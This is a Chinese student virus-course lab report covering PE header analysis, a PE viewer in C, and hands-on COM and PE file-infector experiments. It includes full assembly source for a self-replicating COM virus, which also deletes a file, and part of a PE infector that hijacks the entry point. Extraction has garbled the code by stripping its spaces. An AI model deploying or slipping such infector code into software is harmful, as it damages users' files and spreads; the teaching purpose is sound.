![病毒實(shí)驗(yàn)報告_第1頁](http://file4.renrendoc.com/view/2233d5806f322201c1a9c6ff4ea0a38b/2233d5806f322201c1a9c6ff4ea0a38b1.gif)
![病毒實(shí)驗(yàn)報告_第2頁](http://file4.renrendoc.com/view/2233d5806f322201c1a9c6ff4ea0a38b/2233d5806f322201c1a9c6ff4ea0a38b2.gif)
![病毒實(shí)驗(yàn)報告_第3頁](http://file4.renrendoc.com/view/2233d5806f322201c1a9c6ff4ea0a38b/2233d5806f322201c1a9c6ff4ea0a38b3.gif)
![病毒實(shí)驗(yàn)報告_第4頁](http://file4.renrendoc.com/view/2233d5806f322201c1a9c6ff4ea0a38b/2233d5806f322201c1a9c6ff4ea0a38b4.gif)
![病毒實(shí)驗(yàn)報告_第5頁](http://file4.renrendoc.com/view/2233d5806f322201c1a9c6ff4ea0a38b/2233d5806f322201c1a9c6ff4ea0a38b5.gif)
版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)
文檔簡介
試驗(yàn)一手動分析PE文件格式實(shí)驗(yàn)?zāi)康模菏謩臃衷SPE文件二、實(shí)驗(yàn)工具:Stud_PE、WinHex、任意一個PE文件、一臺電腦。三、實(shí)驗(yàn)原理:按照PE文件文件結(jié)構(gòu),能夠?qū)崿F(xiàn)手動分析。四、實(shí)驗(yàn)步驟:打開WinHex,導(dǎo)入要分析的文件:File—>Open我分析的是Storm.exe文件。查看文件前兩個字節(jié),是否為4D5A,如果是,轉(zhuǎn)到第3步,否則該文件不是PE文件。如圖1.1圖1.1:storm.exe文件分析查看偏移地址3CH處的四個字節(jié)C0000000,C0H即為NT映像頭的始址。如圖1.2圖1.2:查看偏移地址查看偏移地址分別為C0000000處的四個字節(jié)偏移地址分別為C0000000處的四個字節(jié)為50450000說明該文件是PE文件,否則不是PE文件下面是對PE頭文件的分析結(jié)果:IMAGE_FILE_HEADERsizeMachine24C01014CX86NumberOfSections23三個節(jié)TimeDateStamp4356A0949文件生成時間PointerToSymbolTable400000000COFF符號表的偏移NumberOfSymbols400000000符號數(shù)目SizeOfOptionalHeader2E0可選頭的大小Characteristics20F01標(biāo)記IMAGE_OPTIONAL_HEADERMagic2010B幻數(shù),一般是010BHMajorLinkerVersion15連接程序的主版本號MinorLinkerVersion10C連接程序的次版本號SizeOfCode44000代碼段的總尺寸SizeOfInitializedData400060000已初始化的數(shù)據(jù)總尺寸SizeOfUninitializedData400000000未初始化的數(shù)據(jù)總尺寸AddressOfEntryPoint41045開始執(zhí)行位置BaseOfCode41000代碼節(jié)開始的位置BaseOfData45000數(shù)據(jù)節(jié)開始的位置ImageBase4400000可執(zhí)行文件的默認(rèn)裝入的內(nèi)存地址SectionAlignment41000可執(zhí)行文件的默認(rèn)裝入的內(nèi)存時節(jié)的對齊數(shù)字FileAlignment41000文件中節(jié)的對齊數(shù)字,一般是一個扇區(qū)長MajorOperatingSystemVer2400要求最低操作系統(tǒng)版本號的主版本號MinorOperatingSystemVer20000要求最低操作系統(tǒng)版本號的次版本號MajorImageVersion20000可執(zhí)行文件主版本號MinorImageVersion20000可執(zhí)行文件次版本號MajorSubsystemVersion20400要求最小系統(tǒng)主版本號MinorSubsystemVersion20000要求最小系統(tǒng)次版本號Win32VersionValue400000000SizeOfImage48000裝入內(nèi)存后映像的總尺寸SizeOfHeaders41000NT映像頭+節(jié)表的大小CheckSum400000000檢驗(yàn)和Subsystem20200可執(zhí)行文件的子系統(tǒng)DllCharacteristics20000何時DllMain被調(diào)用,一般為0SizeOfStackReserve400001000初始化線程時保留的堆棧大小SizeOfStackCommit400100000初始化線程時提交的堆棧大小SizeOfHeapReserve400100000進(jìn)程初始化時保留的堆棧大小SizeOfHeapCommit400100000進(jìn)程初始化時提交的堆棧大小LoaderFlags400000000此項(xiàng)與調(diào)試有關(guān)NumberOfRvaAndSizes410000000數(shù)據(jù)目錄的項(xiàng)數(shù),五、實(shí)驗(yàn)總結(jié):通過對PE文件的手動分析,我懂得了PE文件的文件格式。為以后的學(xué)習(xí)打下了堅(jiān)實(shí)的基礎(chǔ)。試驗(yàn)二、編寫PE文件分析工具一、實(shí)驗(yàn)?zāi)康模壕帉懸粋€工具,自動分析PE文件,要能判斷是否是PE文件,能分析PE文件頭文件個數(shù)據(jù)項(xiàng)的分析二、實(shí)驗(yàn)原理:可以通過一個叫做IMAGE_DOS_HEADER的結(jié)構(gòu)來識別一個合法的DOS頭。這個結(jié)構(gòu)的頭兩個字節(jié)一定是“MZ”(#defineIMAGE_DOS_SIGNATURE"MZ")。你通過該結(jié)構(gòu)的一個叫做“e_lfanew”(offset60,32bits)的成員來找到PE開始的標(biāo)志它。通過DOS頭,可以找到一個叫做IMAGE_FILE_HEADER的結(jié)構(gòu)。文件頭下面就是可選頭,這是一個叫做IMAGE_OPTIONAL_HEADER的結(jié)構(gòu)。它包含很多關(guān)于PE文件定位的信息。三、主要功能實(shí)現(xiàn):1、加載PE文件BOOLOpenFileDlg(HWNDhwnd){ OPENFILENAMEofn;memset(szFilePath,0,MAX_PATH); memset(&ofn,0,sizeof(ofn)); ofn.lStructSize=sizeof(ofn); ofn.hwndOwner=hwnd; ofn.hInstance=GetModuleHandle(NULL); ofn.nMaxFile=MAX_PATH; ofn.lpstrInitialDir="."; ofn.lpstrFile=szFilePath; ofn.lpstrTitle="Open...[PEInfo_example]byA.Yong(信息安全)"; ofn.Flags=OFN_PATHMUSTEXIST|OFN_FILEMUSTEXIST|OFN_HIDEREADONLY; ofn.lpstrFilter="*.*\0*.*\0"; if(!GetOpenFileName(&ofn)) returnFALSE; returnTRUE;}如果加載的文件不是PE文件,提示,在主窗口的處理函數(shù)中加入如下處理過程if(!IsPEFile(stMapFile.ImageBase)){MessageBox(hWnd,"InvalidPEFormatfile!:(","PEInfo_Example",MB_OK);UnLoadFile(&stMapFile);EnableEditCtrl(hWnd,FALSE); returnFALSE;}這樣,在加載的文件不是PE文件是,就會彈出消息窗口voidUnLoadFile(PMAP_FILE_STRUCTpstMapFile){ if(pstMapFile->ImageBase) UnmapViewOfFile(pstMapFile->ImageBase); if(pstMapFile->hMapping) CloseHandle(pstMapFile->hMapping); if(pstMapFile->hFile) CloseHandle(pstMapFile->hFile);}BOOLLoadFileR(LPTSTRlpFilename,PMAP_FILE_STRUCTpstMapFile){ HANDLEhFile; HANDLEhMapping; LPVOIDImageBase; memset(pstMapFile,0,sizeof(MAP_FILE_STRUCT)); hFile=CreateFile(lpFilename,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,0); if(!hFile) returnFALSE;hMapping=CreateFileMapping(hFile,NULL,PAGE_READONLY,0,0,NULL); if(!hMapping) { CloseHandle(hFile); returnFALSE; } ImageBase=MapViewOfFile(hMapping,FILE_MAP_READ,0,0,0);if(!ImageBase) { CloseHandle(hMapping); CloseHandle(hFile); returnFALSE; } pstMapFile->hFile=hFile; pstMapFile->hMapping=hMapping; pstMapFile->ImageBase=ImageBase; returnTRUE;}得到ODS頭文件結(jié)構(gòu)IMAGE_FILE_HEADERGetFileHeader(LPVOIDImageBase){PIMAGE_DOS_HEADERpDH=NULL;PIMAGE_NT_HEADERSpNtH=NULL;PIMAGE_FILE_HEADERpFH=NULL;if(!IsPEFile(ImageBase)) returnNULL;pDH=(PIMAGE_DOS_HEADER)ImageBase;pNtH=(PIMAGE_NT_HEADERS)((DWORD)pDH+pDH->e_lfanew);pFH=&pNtH->FileHeader;returnpFH;}得到NT映像頭結(jié)構(gòu)PIMAGE_NT_HEADERSGetNtHeaders(LPVOIDImageBase){ if(!IsPEFile(ImageBase)) returnNULL; PIMAGE_NT_HEADERSpNtH; PIMAGE_DOS_HEADERpDH; pDH=(PIMAGE_DOS_HEADER)ImageBase; pNtH=(PIMAGE_NT_HEADERS)((DWORD)pDH+pDH->e_lfanew); returnpNtH;}得到可選頭結(jié)構(gòu)PIMAGE_OPTIONAL_HEADERGetOptionalHeader(LPVOIDImageBase){PIMAGE_DOS_HEADERpDH=NULL;PIMAGE_NT_HEADERSpNtH=NULL;PIMAGE_OPTIONAL_HEADERpOH=NULL;if(!IsPEFile(ImageBase)) returnNULL;pDH=(PIMAGE_DOS_HEADER)ImageBase;pNtH=(PIMAGE_NT_HEADERS)((DWORD)pDH+pDH->e_lfanew);pOH=&pNtH->OptionalHeader;returnpOH;}顯示dos頭信息voidShowFileHeaderInfo(HWNDhWnd){ charcBuff[10];PIMAGE_FILE_HEADERpFH=NULL; pFH=GetFileHeader(stMapFile.ImageBase);if(!pFH) { MessageBox(hWnd,"Can'tgetFileHeader!:(","PEInfo_Example",MB_OK); return; } wsprintf(cBuff,"%04lX",pFH->Machine); SetDlgItemText(hWnd,IDC_EDIT_FH_MACHINE,cBuff); wsprintf(cBuff,"%04lX",pFH->NumberOfSections); SetDlgItemText(hWnd,IDC_EDIT_FH_NUMOFSECTIONS,cBuff); wsprintf(cBuff,"%08lX",pFH->TimeDateStamp); SetDlgItemText(hWnd,IDC_EDIT_FH_TDS,cBuff); wsprintf(cBuff,"%08lX",pFH->PointerToSymbolTable); SetDlgItemText(hWnd,IDC_EDIT_FH_PTSYMBOL,cBuff); wsprintf(cBuff,"%08lX",pFH->NumberOfSymbols); SetDlgItemText(hWnd,IDC_EDIT_FH_NUMOFSYM,cBuff); wsprintf(cBuff,"%04lX",pFH->SizeOfOptionalHeader); SetDlgItemText(hWnd,IDC_EDIT_FH_SIZEOFOH,cBuff);wsprintf(cBuff,"%04lX",pFH->Characteristics); SetDlgItemText(hWnd,IDC_EDIT_FH_CHARACTERISTICS,cBuff); }顯示可選頭信息voidShowOptionHeaderInfo(HWNDhWnd){ charcBuff[10]; PIMAGE_OPTIONAL_HEADERpOH=NULL;pOH=GetOptionalHeader(stMapFile.ImageBase); if(!pOH) { MessageBox(hWnd,"Can'tgetOptionalHeader!:(","PEInfo_Example",MB_OK); return; }wsprintf(cBuff,"%08lX",pOH->AddressOfEntryPoint); SetDlgItemText(hWnd,IDC_EDIT_OH_EP,cBuff);wsprintf(cBuff,"%08lX",pOH->ImageBase); SetDlgItemText(hWnd,IDC_EDIT_OH_IMAGEBASE,cBuff); wsprintf(cBuff,"%08lX",pOH->BaseOfCode); SetDlgItemText(hWnd,IDC_EDIT_OH_CODEBASE,cBuff); wsprintf(cBuff,"%08lX",pOH->BaseOfData); SetDlgItemText(hWnd,IDC_EDIT_OH_DATABASE,cBuff); wsprintf(cBuff,"%08lX",pOH->SizeOfImage); SetDlgItemText(hWnd,IDC_EDIT_OH_IMAGESIZE,cBuff);wsprintf(cBuff,"%08lX",pOH->SizeOfHeaders);SetDlgItemText(hWnd,IDC_EDIT_OH_HEADERSIZE,cBuff); wsprintf(cBuff,"%08lX",pOH->SectionAlignment); SetDlgItemText(hWnd,IDC_EDIT_OH_SECTIONALIGN,cBuff); wsprintf(cBuff,"%08lX",pOH->FileAlignment); SetDlgItemText(hWnd,IDC_EDIT_OH_FILEALIGN,cBuff); wsprintf(cBuff,"%08lX",pOH->Subsystem);SetDlgItemText(hWnd,IDC_EDIT_OH_SUBSYSTEM,cBuff); wsprintf(cBuff,"%04lX",pOH->CheckSum); SetDlgItemText(hWnd,IDC_EDIT_OH_CHECKSUM,cBuff); wsprintf(cBuff,"%04lX",pOH->DllCharacteristics);SetDlgItemText(hWnd,IDC_EDIT_OH_DLLFLAGS,cBuff);}顯示數(shù)據(jù)目錄信息voidShowDataDirInfo(HWNDhDlg){charcBuff[9];PIMAGE_OPTIONAL_HEADERpOH=NULL;pOH=GetOptionalHeader(stMapFile.ImageBase);if(!pOH)return; for(inti=0;i<16;i++){wsprintf(cBuff,"%08lX",pOH->DataDirectory[i].VirtualAddress);SetDlgItemText(hDlg,EditID_Array[i].ID_RVA,cBuff); wsprintf(cBuff,"%08lX",pOH->DataDirectory[i].Size);SetDlgItemText(hDlg,EditID_Array[i].ID_SIZE,cBuff); }}顯示節(jié)表信息voidShowSectionHeaderInfo(HWNDhDlg){ LVITEMlvItem; charcBuff[9],cName[9]; WORDi;PIMAGE_FILE_HEADERpFH=NULL; PIMAGE_SECTION_HEADERpSH=NULL; pFH=GetFileHeader(stMapFile.ImageBase); if(!pFH)return; pSH=GetFirstSectionHeader(stMapFile.ImageBase); for(i=0;i<pFH->NumberOfSections;i++) { memset(&lvItem,0,sizeof(lvItem)); lvItem.mask=LVIF_TEXT; lvItem.iItem=i; memset(cName,0,sizeof(cName)); memcpy(cName,pSH->Name,8); lvItem.pszText=cName; SendDlgItemMessage(hDlg,IDC_SECTIONLIST,LVM_INSERTITEM,0,(LPARAM)&lvItem); lvItem.pszText=cBuff; wsprintf(cBuff,"%08lX",pSH->VirtualAddress); lvItem.iSubItem=1; SendDlgItemMessage(hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,(LPARAM)&lvItem); wsprintf(cBuff,"%08lX",pSH->Misc.VirtualSize); lvItem.iSubItem=2; SendDlgItemMessage(hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,(LPARAM)&lvItem); wsprintf(cBuff,"%08lX",pSH->PointerToRawData); lvItem.iSubItem=3; SendDlgItemMessage(hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,(LPARAM)&lvItem); wsprintf(cBuff,"%08lX",pSH->SizeOfRawData); lvItem.iSubItem=4; SendDlgItemMessage(hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,(LPARAM)&lvItem); wsprintf(cBuff,"%08lX",pSH->Characteristics); lvItem.iSubItem=5; SendDlgItemMessage(hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,(LPARAM)&lvItem); ++pSH; }}運(yùn)行效果如下:1>顯示可選頭信息和文件頭信息。如圖2.1圖2.1:顯示可選頭信息和文件頭信息2>顯示節(jié)表信息。如圖2.2圖2.2:顯示節(jié)表信息3>顯示數(shù)據(jù)目錄信息。如圖2.3圖2.3:顯示數(shù)據(jù)目錄信息四、實(shí)驗(yàn)總結(jié): 通過編寫PE文件分析程序,我更進(jìn)一步的了解了PE文件的文件結(jié)構(gòu)。雖然在編寫過程中遇到很多問題,但在老師的細(xì)心指導(dǎo)下,還是順利的完成了。實(shí)驗(yàn)三COM病毒分析一.實(shí)驗(yàn)?zāi)康?1、掌握COM病毒的原理及設(shè)計方法2、理解COM病毒感染目標(biāo)文件的步驟和機(jī)理二.實(shí)驗(yàn)環(huán)境安裝在VirtualBox上的DOS虛擬機(jī)三.實(shí)驗(yàn)步驟(模擬COM病毒感染文件的過程)向虛擬機(jī)中DOS操作系統(tǒng)拷貝MASM5及源程序virus.asm、target.asm匯編、連接感染目標(biāo)文件target.asm,得到target.exe。如圖3.1圖3.1將exe文件轉(zhuǎn)換為com文件,得到。并對比target.exe與的執(zhí)行結(jié)果。(前者顯示亂碼)如圖3.2圖3.2匯編、連接病毒文件virus.asm,得到virus.exe即可。如圖3.3圖3.3備份為target_,運(yùn)行和target_,查看輸出文本,運(yùn)行病毒文件virus.exe,再運(yùn)行和target_查看輸出文本。發(fā)現(xiàn)文件已被感染。如圖3.4圖3.4重命名為target_.com,重命名target_為,運(yùn)行查看輸出文本,運(yùn)行target_.com,再運(yùn)行發(fā)現(xiàn)文件被感染,說明被感染文件target_.com具有感染性,即成為新的病毒感染源。如圖3.5圖3.5四.Virus.asm代碼分析CSEGSEGMENTASSUMECS:CSEG,DS:CSEG,SS:CSEGmainPROCNEARmainstart:CALLvstart;病毒的代碼開始處vstart:POPSI;得到當(dāng)前地址MOVBP,SI;保存當(dāng)前地址PUSHSIMOVAH,9ADDSI,OFFSETmessage-OFFSETvstart;顯示預(yù)設(shè)字符串MOVDX,SIINT21hPOPSIADDSI,OFFSETyuan4byte-OFFSETvstart;取得原程序中的前四個字節(jié)MOVDI,100h;目的地址MOVAX,DS:[SI];開始復(fù)制MOVDS:[DI],AXINCSIINCSIINCDIINCDIMOVAX,DS:[SI]MOVDS:[DI],AXMOVSI,BP;恢復(fù)地址值MOVDX,OFFSETdelname-OFFSETvstartADDDX,SIMOVAH,41hINT21hMOVDX,OFFSETfilename-OFFSETvstart;得到文件名ADDDX,SIMOVAL,02MOVAH,3dh;寫文件INT21hJCerrorMOVBX,AX;文件句柄MOVDX,OFFSETyuan4byte-OFFSETvstart;讀文件的前四個字節(jié)ADDDX,SIMOVCX,4MOVAH,3fhINT21hMOVAX,4202h;到文件尾XORCX,CXXORDX,DXINT21hMOVDI,OFFSETnew4byte-OFFSETvstart;保存要跳的地方ADDDI,2ADDDI,SISUBAX,4MOVDS:[DI],AXADDSI,OFFSETmainstart-OFFSETvstart;準(zhǔn)備寫入病毒MOVDX,SIMOVvsizes,OFFSETvends-OFFSETmainstartMOVCX,vsizesMOVAH,40hINT21hMOVSI,BP;定位到文件頭MOVAL,0XORCX,CXXORDX,DXMOVAH,42hINT21hMOVAH,40h;將新的文件頭寫入MOVCX,4MOVDX,OFFSETnew4byte-OFFSETvstartADDDX,SIINT21hMOVAH,3eh;關(guān)閉文件INT21herror:MOVAX,100hPUSHAXRETmainENDPyuan4byte:RETDB3DUP(?)vsizesDW0new4byteDB'M',0e9h,0,0filenameDB"",0delnameDB"del.txt",0messageDB"Youareinfectedbyasimplecomvirus~~"DB0dh,0ah,"$"vends:start:MOVAX,CSEGMOVDS,AXMOVSS,AXCALLmainMOVAX,4c00hINT21hCSEGENDSENDstart若將感染目標(biāo)文件名改為target.asm,通過命令edittarget.asm查看被感染后的文件。發(fā)現(xiàn)在代碼的頭部和尾部出現(xiàn)大量亂碼,可知文件被修改,且感染后的病毒功能字節(jié)段在文件末尾。如圖3.6圖3.6實(shí)驗(yàn)四PE病毒分析一、實(shí)驗(yàn)?zāi)康模和ㄟ^PE文件附加一段二進(jìn)制碼加深對kernal32的定位及增加節(jié)表項(xiàng),增加節(jié)及修改源文件入口點(diǎn)的理解二、實(shí)驗(yàn)工具:Masm32V8三、實(shí)驗(yàn)源碼:mov eax,_dwSize xor edx,edx div _dwAlign .if edx inc eax .endif mul _dwAlign pop edx ret
_Align endp;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>_ProcessPeFile proc _lpFile,_lpPeHead,_dwSize local @szNewFile[MAX_PATH]:byte local @hFile,@dwTemp,@dwEntry,@lpMemory local @szBuffer[256]:byte
pushad;********************************************************************;(Part1)準(zhǔn)備工作:1-建立新文件,2-打開文件;******************************************************************** invoke lstrcpy,addr@szNewFile,addrszFileName invoke lstrlen,addr@szNewFile lea ecx,@szNewFile mov byteptr[ecx+eax-4],0 invoke lstrcat,addr@szNewFile,addrszExt invoke CopyFile,addrszFileName,addr@szNewFile,FALSE
invoke CreateFile,addr@szNewFile,GENERIC_READor\ GENERIC_WRITE,FILE_SHARE_READorFILE_SHARE_WRITE,\ NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL .if eax== INVALID_HANDLE_VALUE invoke SetWindowText,hWinEdit,addrszErrCreate jmp _Ret .endif mov @hFile,eax;********************************************************************;(Part2);esi-->原PeHead,edi-->新的PeHead;edx-->最后一個節(jié)表,ebx-->新加的節(jié)表;******************************************************************** mov esi,_lpPeHead assume esi:ptrIMAGE_NT_HEADERS,edi:ptrIMAGE_NT_HEADERS invoke GlobalAlloc,GPTR,[esi].OptionalHeader.SizeOfHeaders mov edi,eax invoke RtlMoveMemory,edi,_lpFile,\ [esi].OptionalHeader.SizeOfHeaders mov @lpMemory,eax mov edi,eax add edi,esi sub edi,_lpFile movzx eax,[esi].FileHeader.NumberOfSections dec eax mov ecx,sizeofIMAGE_SECTION_HEADER mul ecx
mov edx,edi add edx,eax add edx,sizeofIMAGE_NT_HEADERS mov ebx,edx add ebx,sizeofIMAGE_SECTION_HEADER assume ebx:ptrIMAGE_SECTION_HEADER assume edx:ptrIMAGE_SECTION_HEADER;********************************************************************;(Part3)加入一個新的節(jié),并修正一些PE頭部的內(nèi)容;******************************************************************** inc [edi].FileHeader.NumberOfSections mov eax,[edx].PointerToRawData add eax,[edx].SizeOfRawData mov [ebx].PointerToRawData,eax invoke _Align,offsetAPPEND_CODE_END-offsetAPPEND_CODE,\ [esi].OptionalHeader.FileAlignment mov [ebx].SizeOfRawData,eax invoke _Align,offsetAPPEND_CODE_END-offsetAPPEND_CODE,\ [esi].OptionalHeader.SectionAlignment add [edi].OptionalHeader.SizeOfCode,eax;修正SizeOfCode add [edi].OptionalHeader.SizeOfImage,eax;修正SizeOfImage invoke _Align,[edx].Misc.VirtualSize,\ [esi].OptionalHeader.SectionAlignment add eax,[edx].VirtualAddress mov [ebx].VirtualAddress,eax mov [ebx].Misc.VirtualSize,\ offsetAPPEND_CODE_END-offsetAPPEND_CODE mov [ebx].Characteristics,IMAGE_SCN_CNT_CODEor\ IMAGE_SCN_MEM_EXECUTEorIMAGE_SCN_MEM_READ\ orIMAGE_SCN_MEM_WRITE invoke lstrcpy,addr[ebx].Name1,addrszMySection;********************************************************************;(Part4)修正文件入口指針;******************************************************************** mov eax,[ebx].VirtualAddress add eax,(offset_NewEntry-offsetAPPEND_CODE) mov [edi].OptionalHeader.AddressOfEntryPoint,eax;********************************************************************;(Part5)寫文件;******************************************************************** invoke WriteFile,@hFile,@lpMemory,\ [esi].OptionalHeader.SizeOfHeaders,addr@dwTemp,NULL invoke SetFilePointer,@hFile,[ebx].PointerToRawData,\ NULL,FILE_BEGIN invoke WriteFile,@hFile,offsetAPPEND_CODE,\ [ebx].Misc.VirtualSize,addr@dwTemp,NULL mov eax,[ebx].PointerToRawData add eax,[ebx].SizeOfRawData invoke SetFilePointer,@hFile,eax,NULL,FILE_BEGIN invoke SetEndOfFile,@hFile;********************************************************************;(Part6)修正新加代碼中的JmpoldEntry指令;******************************************************************** push [esi].OptionalHeader.AddressOfEntryPoint pop @dwEntry mov eax,[ebx].VirtualAddress add eax,(offset_ToOldEntry-offsetAPPEND_CODE+5) sub @dwEntry,eax mov ecx,[ebx].PointerToRawData add ecx,(offset_dwOldEntry-offsetAPPEND_CODE) invoke SetFilePointer,@hFile,ecx,NULL,FILE_BEGIN invoke WriteFile,@hFile,addr@dwEntry,4,addr@dwTemp,NULL;********************************************************************;(Part7)關(guān)閉文件;******************************************************************** invoke GlobalFree,@lpMemory invoke CloseHandle,@hFile invoke wsprintf,addr@szBuffer,AddrszSuccess,addr@szNewFile invoke SetWindowText,hWinEdit,addr@szBuffer_Ret: assume esi:nothing popad ret
_ProcessPeFile endpPart1從原始PE文件拷貝一個名為“原始文件名_new.exe”的文件,這個文件將被添加上可執(zhí)行代碼,原來的“原始文件名.exe”文件則不會被改動。當(dāng)文件成功拷貝后,程序?qū)⒋蜷_拷貝生成的新文件以便進(jìn)行修改。Part2分配一個等于目標(biāo)PE文件的文件頭大小的內(nèi)存塊,并將文件頭拷貝到這個內(nèi)存塊中,所有對PE文件頭的修改操作都是在這個內(nèi)存塊中完成的,這個內(nèi)存塊的內(nèi)容最終將被寫到“原始文件名_new.exe”文件中。Part3在節(jié)表中加入一個新的節(jié)表項(xiàng)目,節(jié)表項(xiàng)中的VirtualSize,VirtualAddress,SizeOfRawData,PointerToRawData,Characteristics和Name1字段需要被設(shè)置。其中Name1中的名稱被設(shè)置為“.adata”;Characteristics字段中的標(biāo)志被設(shè)置為可執(zhí)行和可讀寫,這是因?yàn)樾枰獙@個節(jié)中的hDllKernel32等變量進(jìn)行寫入操作。其他幾個字段值的算法如下(下面的“上一節(jié)”指原始PE文件的最后一節(jié)):
PointerToRawData=(上一節(jié)的PointerToRawData)+(上一節(jié)的SizeOfRawData)
SizeOfRawData=附加代碼的長度按FileAlignMent值對齊
VirtualAddress=(上一節(jié)的VirtualAddress)+(上一節(jié)的VirtualSize按SectionAlignMent的對齊值)
VirtualSize=附加代碼的長度按SectionAlignMent值對齊其中的對齊算法是用_Align子程序來完成的。在這一部分中,程序還修正了文件頭中的SizeOfCode和SizeOfImage的值。如果SizeOfImage的值不被修正的話,Windows將無法裝入修改后的PE文件,報的錯誤為“這不是一個有效的Win32可執(zhí)行文件”。Part5將修改后的文件頭寫入文件并將附加代碼寫到文件的最后,由于附加代碼的長度還沒有按FileAlignMent的值對齊,所以程序再次使用SetFilePointer函數(shù)將文件指針移動到對齊后的位置并用SetFileEnd函數(shù)將文件長度擴(kuò)展到這里。Part6將原始PE文件的入口地址取出,和附加代碼的入口地址計算得出“jmp原入口地址”這條指令中的二進(jìn)制碼值,并將這個值寫到附加代碼的對應(yīng)位置中。Part7進(jìn)行掃尾工作,如釋放內(nèi)存、關(guān)閉文件和顯示成功信息等。至此,程序的所有功能就完成了另外一個源文件_AddCode.asm中包含了被添加到目標(biāo)PE文件中的代碼,內(nèi)容如下:;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;一些函數(shù)的原形定義;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>_ProtoGetProcAddress typedef proto :dword,:dword_ProtoLoadLibrary typedef proto :dword_ProtoMessageBox typedef proto :dword,:dword,:dword,:dword_ApiGetProcAddress typedef ptr _ProtoGetProcAddress_ApiLoadLibrary typedef ptr _ProtoLoadLibrary_ApiMessageBox typedef ptr _ProtoMessageBox;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>APPEND_CODE equ thisbyte;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;被添加到目標(biāo)文件中的代碼從這里開始;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>include _GetKernel.asm;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>hDllKernel32 dd ?hDllUser32 dd ?_GetProcAddress _ApiGetProcAddress ?_LoadLibrary _ApiLoadLibrary ?_MessageBox _ApiMessageBox ?szLoadLibrary db 'LoadLibraryA',0szGetProcAddressdb 'GetProcAddress',0szUser32 db 'user32',0szMessageBox db 'MessageBoxA',0szCaption db '問題提示',0szText db '一定要運(yùn)行這個程序嗎?',0;********************************************************************;新的入口地址;********************************************************************_NewEntry:;********************************************************************;重定位并獲取一些API的入口地址;******************************************************************** call @F @@: pop ebx sub ebx,offset@B;******************************************************************** invoke _GetKernelBase,[esp] ;獲取Kernel32.dll基址 .if !eax jmp _ToOldEntry .endif mov [ebx+hDllKernel32],eax ;獲取GetProcAddress入口 lea eax,[ebx+szGetProcAddr
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 南昌大學(xué)《PYTHON編程基礎(chǔ)與實(shí)踐》2023-2024學(xué)年第二學(xué)期期末試卷
- 湖南信息學(xué)院《教育書法》2023-2024學(xué)年第二學(xué)期期末試卷
- 重慶電子工程職業(yè)學(xué)院《酒吧經(jīng)營與管理》2023-2024學(xué)年第二學(xué)期期末試卷
- 南陽農(nóng)業(yè)職業(yè)學(xué)院《國際貿(mào)易金融家》2023-2024學(xué)年第二學(xué)期期末試卷
- 菏澤家政職業(yè)學(xué)院《管理案例》2023-2024學(xué)年第二學(xué)期期末試卷
- 撫順職業(yè)技術(shù)學(xué)院《空調(diào)用制冷工程課程設(shè)計》2023-2024學(xué)年第二學(xué)期期末試卷
- 2025至2030年中國折疊凳數(shù)據(jù)監(jiān)測研究報告
- 2025至2031年中國網(wǎng)球燈行業(yè)投資前景及策略咨詢研究報告
- 2025至2031年中國恒定流量動態(tài)平衡閥行業(yè)投資前景及策略咨詢研究報告
- 2025至2030年乳膠鞋襯項(xiàng)目投資價值分析報告
- 胃食管反流病優(yōu)質(zhì)課件
- 品管圈活動提高氧氣霧化吸入注意事項(xiàng)知曉率
- 格力GMV多聯(lián)機(jī)安裝及維修手冊
- 農(nóng)產(chǎn)品質(zhì)量安全控制課件
- 尿失禁健康講座(SUI)
- 南網(wǎng)5S管理、四步法、八步驟
- 幼兒園中班健康:《小河馬的大口罩》 課件
- 管道工程污水管網(wǎng)監(jiān)理規(guī)劃(共44)
- 洪屏抽水蓄能電站達(dá)標(biāo)投產(chǎn)策劃方案
- 危貨運(yùn)輸車輛日常維護(hù)檢查及記錄表
- 公司生產(chǎn)報廢單
評論
0/150
提交評論